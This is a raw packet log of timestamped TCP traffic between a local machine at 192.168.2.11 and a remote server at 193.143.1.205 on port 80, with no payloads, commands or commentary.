Jan 11, 2025 03:05:17.274355888 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.274368048 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.274400949 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.274400949 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.274524927 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.274591923 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.274630070 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.274656057 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.274667978 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.274749041 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.274801016 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.274864912 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.274874926 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.274899960 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.274996996 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.275010109 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.275034904 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.275254011 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.275273085 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.275326014 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.275326967 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.275450945 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.275471926 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.275484085 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.275495052 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.275506020 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.275541067 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.275541067 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.275702953 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.275713921 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.275723934 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.275757074 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.276257992 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.276268959 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.276279926 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.276324034 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.276324034 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.276396990 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.276407957 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.276427031 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.276438951 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.276453972 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.276508093 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.276642084 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.276654005 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.276664972 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.276700974 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.277085066 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.277129889 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.277142048 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.277182102 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.277182102 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.277241945 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.277430058 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.277440071 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.277451038 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.277462959 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.277496099 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.277496099 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.277616024 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.277627945 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.277676105 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.277997017 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.278043032 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.278050900 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.278064013 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.278146029 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.278280973 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.278290987 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.278301001 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.278311968 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.278333902 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.278367043 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.278517008 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.278528929 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.278537989 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.278924942 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.278948069 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.278963089 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.278963089 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.279122114 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.279133081 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.279143095 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.279182911 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.279182911 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.279217958 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.279231071 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.279242039 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.279253960 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.279305935 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.279305935 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.292857885 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.292882919 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.292895079 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.292944908 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.292985916 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.293029070 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.293064117 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.293075085 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.293107986 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.310574055 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.330533981 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.330545902 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.330631018 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.365395069 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.365549088 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.365561008 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.365696907 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.365708113 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.365719080 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.365741014 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.365741968 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.365829945 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.365843058 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.366019964 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.366029978 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.366043091 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.366060972 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.366086006 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.366086006 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.366177082 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.366216898 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.366357088 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.366369963 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.366518021 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.366528988 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.366539001 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.366564989 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.366564989 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.366678953 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.366695881 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.366708040 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.366719961 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.366723061 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.366730928 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.366741896 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.366746902 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.366754055 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.366765022 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.366775036 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.366785049 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.366792917 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.366792917 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.366796970 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.366806030 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.366833925 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.366833925 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.386643887 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.399836063 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.399873972 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.399883032 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.399954081 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.399954081 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.399971962 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.399985075 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.400031090 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.400053978 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.400177002 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.400223970 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.400238037 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.400350094 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.400394917 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.400404930 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.400480986 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.400551081 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.400562048 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.400594950 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.400594950 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.400763988 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.400810003 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.400820971 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.400942087 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.400942087 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.400954008 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.400964022 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.400974989 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.400991917 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.400991917 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.401017904 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.401222944 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.401235104 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.401631117 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.401642084 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.401652098 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.401667118 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.401667118 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.401771069 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.401782036 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.401797056 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.401798964 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.401810884 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.401837111 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.401976109 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.402004957 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.402018070 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.402029037 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.402054071 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.402456045 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.402508974 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.402520895 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.402532101 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.402698040 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.402714968 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.402724981 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.402728081 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.402735949 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.402770996 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.402770996 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.402940035 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.402957916 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.403053999 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.403076887 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.403466940 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.403479099 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.403489113 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.403528929 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.403528929 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.403608084 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.403620005 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.403630018 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.403640985 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.403654099 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.403907061 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.403918028 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.403928995 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.403945923 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.403945923 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.404297113 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.404351950 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.404369116 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.404380083 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.404417992 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.404443979 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.404550076 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.404561996 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.404582024 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.404588938 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.418431044 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.418459892 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.418469906 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.418543100 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.418543100 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.419178009 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.424479961 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.453998089 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.454037905 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.454050064 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.454081059 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.454123020 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.454123020 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.454176903 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.454189062 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.454329967 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.454332113 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.454343081 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.454354048 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.454366922 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.454395056 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.454423904 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.454489946 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.454507113 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.454544067 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.454571009 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.454574108 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.454615116 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.454627037 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.454654932 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.454654932 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.454772949 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.454783916 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.454793930 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.454804897 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.454828978 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.454869032 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.455014944 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.455027103 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.455055952 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.455070019 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.455091000 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.455101967 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.455127001 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.455241919 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.455252886 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.455270052 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.455284119 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.455302954 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.455332041 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.455447912 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.455512047 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.455523014 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.455533981 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.455548048 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.455575943 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.455599070 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.455727100 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.489725113 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.489758968 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.489775896 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.489859104 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.489942074 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.489953995 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.490034103 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.490048885 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.490082979 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.490120888 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.490144968 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.490156889 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.490273952 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.490288019 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.490298986 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.490333080 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.490370035 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.490443945 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.490454912 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.490466118 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.490475893 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.490489960 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.490633011 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.490653992 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.490704060 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.490709066 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.490714073 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.490801096 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.490895987 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.490906000 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.490915060 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.490925074 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.491048098 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.491117001 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.491204977 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.491215944 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.491225958 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.491230965 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.491238117 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.491257906 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.491333961 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.491559029 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.491569996 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.491580963 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.491591930 CET	80	49750	193.143.1.205	192.168.2.11
